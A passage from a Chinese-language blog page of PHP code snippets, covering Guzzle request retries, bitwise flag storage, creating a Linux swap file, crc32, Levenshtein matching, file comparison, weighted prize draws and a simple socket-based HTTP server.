class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getOutRow</span>(<span class="params">$row,$sections,$spreadSections</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">    $str=<span class="string">"&lt;tr&gt;"</span>;</span><br><span class="line">    foreach ($row <span class="keyword">as</span> $td) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!in_array($td,$spreadSections))&#123;<span class="comment">//不在平面坐标系中说明这个位置是一个点</span></span><br><span class="line">            $str .= <span class="string">"&lt;td style='color: white;background-color: red;'&gt;O&lt;/td&gt;"</span>;</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            $str .= <span class="string">"&lt;td&gt;O&lt;/td&gt;"</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    $str.=<span class="string">"&lt;tr&gt;"</span>;</span><br><span class="line">    <span class="keyword">return</span> $str;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/31882</span></span><br></pre></td></tr></table></figure>
<h3 id="Guzzle-中间件进行优雅的请求重试"><a href="#Guzzle-中间件进行优雅的请求重试" class="headerlink" title="Guzzle 中间件进行优雅的请求重试"></a>Guzzle 中间件进行优雅的请求重试</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line">use GuzzleHttp\Psr7\Request;</span><br><span class="line">use GuzzleHttp\Psr7\Response;</span><br><span class="line">use GuzzleHttp\Client;</span><br><span class="line">use GuzzleHttp\Exception\ConnectException;</span><br><span class="line">use GuzzleHttp\Exception\RequestException;</span><br><span class="line">use GuzzleHttp\Handler\CurlHandler;</span><br><span class="line">use GuzzleHttp\HandlerStack;</span><br><span class="line">use GuzzleHttp\Middleware;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TestGuzzleRetry</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 最大重试次数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">const</span> MAX_RETRIES = <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @var Client</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected $client;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * GuzzleRetry constructor.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">// 创建 Handler</span></span><br><span class="line">        $handlerStack = HandlerStack::create(<span class="keyword">new</span> CurlHandler());</span><br><span class="line">        <span class="comment">// 创建重试中间件，指定决策者为 $this-&gt;retryDecider(),指定重试延迟为 $this-&gt;retryDelay()</span></span><br><span class="line">        $handlerStack-&gt;push(Middleware::retry($<span class="keyword">this</span>-&gt;retryDecider(), $<span class="keyword">this</span>-&gt;retryDelay()));</span><br><span class="line">        <span class="comment">// 指定 handler</span></span><br><span class="line">        $<span class="keyword">this</span>-&gt;client = <span class="keyword">new</span> Client([<span class="string">'handler'</span> =&gt; $handlerStack]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * retryDecider</span></span><br><span class="line"><span class="comment">     * 返回一个匿名函数, 匿名函数若返回false 表示不重试，反之则表示继续重试</span></span><br><span class="line"><span class="comment">     * @return Closure</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">retryDecider</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params"></span></span></span><br><span class="line"><span class="function"><span class="params">            $retries,</span></span></span><br><span class="line"><span class="function"><span class="params">            Request $request,</span></span></span><br><span class="line"><span class="function"><span class="params">            Response $response = null,</span></span></span><br><span class="line"><span class="function"><span class="params">            RequestException $exception = null</span></span></span><br><span class="line"><span class="function"><span class="params">        </span>) </span>&#123;</span><br><span class="line">            <span class="comment">// 超过最大重试次数，不再重试</span></span><br><span class="line">            <span class="keyword">if</span> ($retries &gt;= self::MAX_RETRIES) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 请求失败，继续重试</span></span><br><span class="line">            <span class="keyword">if</span> ($exception <span class="keyword">instanceof</span> ConnectException) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> ($response) &#123;</span><br><span class="line">                <span class="comment">// 如果请求有响应，但是状态码大于等于500，继续重试(这里根据自己的业务而定)</span></span><br><span class="line">                <span class="keyword">if</span> ($response-&gt;getStatusCode() &gt;= <span class="number">500</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 返回一个匿名函数，该匿名函数返回下次重试的时间（毫秒）https://learnku.com/articles/31855</span></span><br><span class="line"><span class="comment">     * @return Closure</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    protected <span class="function"><span class="keyword">function</span> <span class="title">retryDelay</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params">$numberOfRetries</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1000</span> * $numberOfRetries;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="二进制运算符按位与-amp"><a href="#二进制运算符按位与-amp" class="headerlink" title="二进制运算符按位与 &amp;"></a>二进制运算符按位与 &amp;</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">爱好： 篮球 ☑ 足球 ☑ 羽毛球 ☑</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">在数据库中的存储有一下 <span class="number">2</span> 种思路：</span><br><span class="line"></span><br><span class="line"><span class="number">1</span> 定义一个字段 hobby tinyint <span class="number">1</span> 篮球 <span class="number">2</span> 足球 <span class="number">3</span> 羽毛球 <span class="number">4</span> 篮球 + 足球 <span class="number">5</span> 篮球 + 羽毛球 <span class="number">6</span> 篮球 + 羽毛球 <span class="number">7</span> 足球 + 羽毛球 <span class="number">8</span> 篮球 + 足球 + 羽毛球</span><br><span class="line"></span><br><span class="line">即：把这三个选项进行排列组合找出每种情况进行存储</span><br><span class="line"></span><br><span class="line">这样做可以满足业务的需求，但是如果要是将来再添加一个选项的话，那么将是一场灾难。</span><br><span class="line"></span><br><span class="line"><span class="number">2</span> 使用 php 中的 &amp; 运算符 按位与运算符</span><br><span class="line"></span><br><span class="line">定义如下</span><br><span class="line"></span><br><span class="line"><span class="number">2</span> 篮球 <span class="number">4</span> 足球 <span class="number">8</span> 羽毛球</span><br><span class="line"></span><br><span class="line">数据库中的 hobby 字段存储的就是选择后的和，这样在进行编辑或者获取这个用户的爱好的时候只要做一次按位与 &amp; 运算就行了</span><br><span class="line"></span><br><span class="line">例子：</span><br><span class="line"></span><br><span class="line">如果我选择了篮球 足球 乒乓球 则数据库存的是所有之和 <span class="number">14</span> 在编辑的时候只需要从数据库里的 <span class="number">14</span> 和选项做与 &amp; 运算 大于 <span class="number">0</span> 说明选择了 小于 <span class="number">0</span> 则说明没有选择 $res = <span class="number">14</span> &amp; $pingpong; 输出 <span class="number">8</span> var_dump ($res); https:<span class="comment">//learnku.com/articles/31874</span></span><br></pre></td></tr></table></figure>
<h3 id="Composer-安装插件swap-内存不足"><a href="#Composer-安装插件swap-内存不足" class="headerlink" title="Composer 安装插件swap 内存不足"></a>Composer 安装插件swap 内存不足</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//learnku.com/laravel/t/27985</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">/bin/dd <span class="keyword">if</span>=<span class="regexp">/dev/</span>zero <span class="keyword">of</span>=<span class="regexp">/var/</span>swap<span class="number">.1</span> bs=<span class="number">1</span>M count=<span class="number">2048</span></span><br><span class="line"></span><br><span class="line"> /sbin/mkswap /<span class="keyword">var</span>/swap<span class="number">.1</span></span><br><span class="line"></span><br><span class="line"> /sbin/swapon /<span class="keyword">var</span>/swap<span class="number">.1</span></span><br><span class="line"> </span><br><span class="line"> free -m</span><br><span class="line"> mkdir -p /<span class="keyword">var</span>/_swap_</span><br><span class="line"> cd /<span class="keyword">var</span>/_swap_</span><br><span class="line"> # Here, 1M * 2000 ~= 2GB of swap memory</span><br><span class="line"> dd <span class="keyword">if</span>=<span class="regexp">/dev/</span>zero <span class="keyword">of</span>=swapfile bs=<span class="number">1</span>M count=<span class="number">2000</span></span><br><span class="line"> mkswap swapfile</span><br><span class="line"> swapon swapfile</span><br><span class="line"> chmod <span class="number">600</span> swapfile</span><br><span class="line"> echo <span class="string">"/var/_swap_/swapfile none swap sw 0 0"</span> &gt;&gt; <span class="regexp">/etc/</span>fstab</span><br><span class="line"> cat /proc/meminfo</span><br><span class="line"> free -m</span><br></pre></td></tr></table></figure>
<h3 id="crc32-检错数据"><a href="#crc32-检错数据" class="headerlink" title="crc32 检错数据"></a>crc32 检错数据</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$checksum = crc32(<span class="string">"The quick brown fox jumped over the lazy dog."</span>);</span><br><span class="line">printf(<span class="string">"%u\n"</span>, $checksum);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//32位和64位支持</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">crcKw</span>(<span class="params">$num</span>)</span>&#123; </span><br><span class="line">    $crc = crc32($num); </span><br><span class="line">    <span class="keyword">if</span>($crc &amp; <span class="number">0x80000000</span>)&#123; </span><br><span class="line">        $crc ^= <span class="number">0xffffffff</span>; </span><br><span class="line">        $crc += <span class="number">1</span>; </span><br><span class="line">        $crc = -$crc; </span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">return</span> $crc; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line">var_export(crcKw($checksum));</span><br><span class="line"><span class="number">2191738434</span></span><br><span class="line"><span class="number">512553366</span></span><br></pre></td></tr></table></figure>
<h3 id="下载带有换行符的文件内容"><a href="#下载带有换行符的文件内容" class="headerlink" title="下载带有换行符的文件内容"></a>下载带有换行符的文件内容</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$lists=<span class="string">'tFwdQlk3Xs,mSL6m9P19Y,2sF2r7MxBh'</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">//要用双引号</span></span><br><span class="line">  $string=implode(<span class="string">"\r\n\r\n"</span>,explode(<span class="string">','</span>,$lists) ) ;</span><br><span class="line">  $filename=<span class="string">'test.txt'</span>;</span><br><span class="line">  header(<span class="string">"Content-Transfer-Encoding: binary"</span>);</span><br><span class="line">  header(<span class="string">'Content-disposition: attachment; filename='</span>.$filename);</span><br><span class="line"> </span><br><span class="line">  echo $string;</span><br></pre></td></tr></table></figure>
<h3 id="两个字符串的相似度"><a href="#两个字符串的相似度" class="headerlink" title="两个字符串的相似度"></a>两个字符串的相似度</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 输入拼写错误的单词</span></span><br><span class="line">$input = <span class="string">'carrrot'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 要检查的单词数组</span></span><br><span class="line">$words  = array(<span class="string">'apple'</span>,<span class="string">'pineapple'</span>,<span class="string">'banana'</span>,<span class="string">'orange'</span>,</span><br><span class="line">                <span class="string">'radish'</span>,<span class="string">'carrot'</span>,<span class="string">'pea'</span>,<span class="string">'bean'</span>,<span class="string">'potato'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 目前没有找到最短距离</span></span><br><span class="line">$shortest = <span class="number">-1</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 遍历单词来找到最接近的</span></span><br><span class="line">foreach ($words <span class="keyword">as</span> $word) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 计算输入单词与当前单词的距离</span></span><br><span class="line">    $lev = levenshtein($input, $word);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查完全的匹配</span></span><br><span class="line">    <span class="keyword">if</span> ($lev == <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 最接近的单词是这个（完全匹配）</span></span><br><span class="line">        $closest = $word;</span><br><span class="line">        $shortest = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 退出循环；我们已经找到一个完全的匹配</span></span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 如果此次距离比上次找到的要短</span></span><br><span class="line">    <span class="comment">// 或者还没找到接近的单词</span></span><br><span class="line">    <span class="keyword">if</span> ($lev &lt;= $shortest || $shortest &lt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="comment">// 设置最接近的匹配以及它的最短距离https://jc91715.top/code-script/4</span></span><br><span class="line">        $closest  = $word;</span><br><span class="line">        $shortest = $lev;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">echo <span class="string">"Input word: $input\n"</span>;</span><br><span class="line"><span class="keyword">if</span> ($shortest == <span class="number">0</span>) &#123;</span><br><span class="line">    echo <span class="string">"Exact match found: $closest\n"</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    echo <span class="string">"Did you mean: $closest?\n"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="两个文件是否相同"><a href="#两个文件是否相同" class="headerlink" title="两个文件是否相同"></a>两个文件是否相同</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">define(<span class="string">'READ_LEN'</span>, <span class="number">4096</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(files_identical(<span class="string">'file1.txt'</span>, <span class="string">'file2.txt'</span>))</span><br><span class="line">    echo <span class="string">'files identical'</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    echo <span class="string">'files not identical'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//   pass two file names</span></span><br><span class="line"><span class="comment">//   returns TRUE if files are the same, FALSE otherwise</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">files_identical</span>(<span class="params">$fn1, $fn2</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(filetype($fn1) !== filetype($fn2))</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(filesize($fn1) !== filesize($fn2))</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(!$fp1 = fopen($fn1, <span class="string">'rb'</span>))</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(!$fp2 = fopen($fn2, <span class="string">'rb'</span>)) &#123;</span><br><span class="line">        fclose($fp1);</span><br><span class="line">        <span class="keyword">return</span> FALSE;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $same = TRUE;</span><br><span class="line">    <span class="keyword">while</span> (!feof($fp1) and !feof($fp2))</span><br><span class="line">        <span class="keyword">if</span>(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) &#123;</span><br><span class="line">            $same = FALSE;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(feof($fp1) !== feof($fp2))</span><br><span class="line">        $same = FALSE;</span><br><span class="line"></span><br><span class="line">    fclose($fp1);</span><br><span class="line">    fclose($fp2);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $same;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="大转盘红包概率"><a href="#大转盘红包概率" class="headerlink" title="大转盘红包概率"></a>大转盘红包概率</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getPrize</span>(<span class="params">$prizes</span>) </span>&#123;   </span><br><span class="line">    $result=[];</span><br><span class="line">    $weights = array_sum(array_column($prizes,<span class="string">'w'</span>));        </span><br><span class="line">    foreach ($prizes <span class="keyword">as</span> $k =&gt; $prize) &#123;   </span><br><span class="line">        $randNum = mt_rand(<span class="number">1</span>, $weights);   </span><br><span class="line">        <span class="keyword">if</span> ($randNum &lt;= $prize[<span class="string">'w'</span>]) &#123;   </span><br><span class="line">            $result = $prize;   </span><br><span class="line">            <span class="keyword">break</span>;   </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;   </span><br><span class="line">            $weights -= $prize[<span class="string">'w'</span>];   </span><br><span class="line">        &#125;         </span><br><span class="line">    &#125;     </span><br><span class="line">    <span class="keyword">return</span> $result;   </span><br><span class="line">&#125; </span><br><span class="line">$prizes = array(   </span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">1</span>,<span class="string">'name'</span>=&gt;<span class="string">'特等奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">1</span>),</span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">2</span>,<span class="string">'name'</span>=&gt;<span class="string">'一等奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">5</span>),</span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">3</span>,<span class="string">'name'</span>=&gt;<span class="string">'二等奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">10</span>),</span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">4</span>,<span class="string">'name'</span>=&gt;<span class="string">'三等奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">12</span>),</span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">5</span>,<span class="string">'name'</span>=&gt;<span class="string">'四等奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">22</span>),</span><br><span class="line">    array(<span class="string">'id'</span>=&gt;<span class="number">6</span>,<span class="string">'name'</span>=&gt;<span class="string">'没中奖'</span>,<span class="string">'w'</span>=&gt;<span class="number">50</span>)</span><br><span class="line">); </span><br><span class="line">https:<span class="comment">//jc91715.top/code-script/14</span></span><br><span class="line">var_export(getPrize($prizes));</span><br><span class="line">array (</span><br><span class="line">  <span class="string">'id'</span> =&gt; <span class="number">4</span>,</span><br><span class="line">  <span class="string">'name'</span> =&gt; <span class="string">'三等奖'</span>,</span><br><span class="line">  <span class="string">'w'</span> =&gt; <span class="number">12</span>,</span><br><span class="line">)</span><br></pre></td></tr></table></figure>
<h3 id="实现http协议"><a href="#实现http协议" class="headerlink" title="实现http协议"></a>实现http协议</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">使用 stream_socket_server 监听tcp连接，并实现http协议。 访问http:<span class="comment">//jc91715.top:8080体验</span></span><br><span class="line">$socket = stream_socket_server(<span class="string">"tcp://0.0.0.0:8080"</span>, $errno, $errstr);</span><br><span class="line"><span class="keyword">if</span> (!$socket) &#123;</span><br><span class="line">          echo <span class="string">"$errstr ($errno)&lt;br /&gt;\n"</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">  echo <span class="string">'正在监听'</span>;https:<span class="comment">//jc91715.top/code-script/16</span></span><br><span class="line">  <span class="keyword">while</span> ($conn = stream_socket_accept($socket)) &#123;</span><br><span class="line">      <span class="comment">//$sock_data = fread($conn, 1024);</span></span><br><span class="line">      <span class="comment">//echo $sock_data;</span></span><br><span class="line">      $res=<span class="string">"HTTP/1.1 200 ok\r\nAccept-Ranges: bytes\r\ncontent-type: text/html; charset=utf-8\r\n\r\nThe local time is "</span>.date(<span class="string">'Y-m-d H:i:s'</span>).<span class="string">"\r\n"</span>;</span><br><span class="line">      fwrite($conn,$res);</span><br><span class="line">          fclose($conn);</span><br><span class="line">      &#125;</span><br><span class="line">        </span><br><span class="line">&#125;</span><br><span class="line">使用 stream_socket_client 创建一个http 客户端。刷新或者访问 http:<span class="comment">//jc91715.top:8080/ 测试</span></span><br><span class="line">$fp = stream_socket_client(<span class="string">"tcp://127.0.0.1:8080"</span>, $errno, $errstr, <span class="number">30</span>);</span><br><span class="line"><span class="keyword">if</span> (!$fp) &#123;</span><br><span class="line">    echo <span class="string">"$errstr ($errno)&lt;br /&gt;\n"</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    fwrite($fp, <span class="string">"GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n"</span>);</span><br><span class="line">    <span class="keyword">while</span> (!feof($fp)) &#123;</span><br><span class="line">        echo fgets($fp, <span class="number">1024</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    fclose($fp);</span><br><span class="line">&#125;</span><br><span class="line">HTTP/<span class="number">1.1</span> <span class="number">200</span> ok</span><br><span class="line">Accept-Ranges: bytes</span><br><span class="line">content-type: text/html; charset=utf<span class="number">-8</span></span><br><span class="line"></span><br><span class="line">The local time is <span class="number">2019</span><span class="number">-08</span><span class="number">-01</span> <span class="number">20</span>:<span class="number">24</span>:<span class="number">13</span></span><br></pre></td></tr></table></figure>
<h3 id="排名算法支持重复排名"><a href="#排名算法支持重复排名" class="headerlink" title="排名算法支持重复排名"></a>排名算法支持重复排名</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">$arr = [</span><br><span class="line">    [</span><br><span class="line">        <span 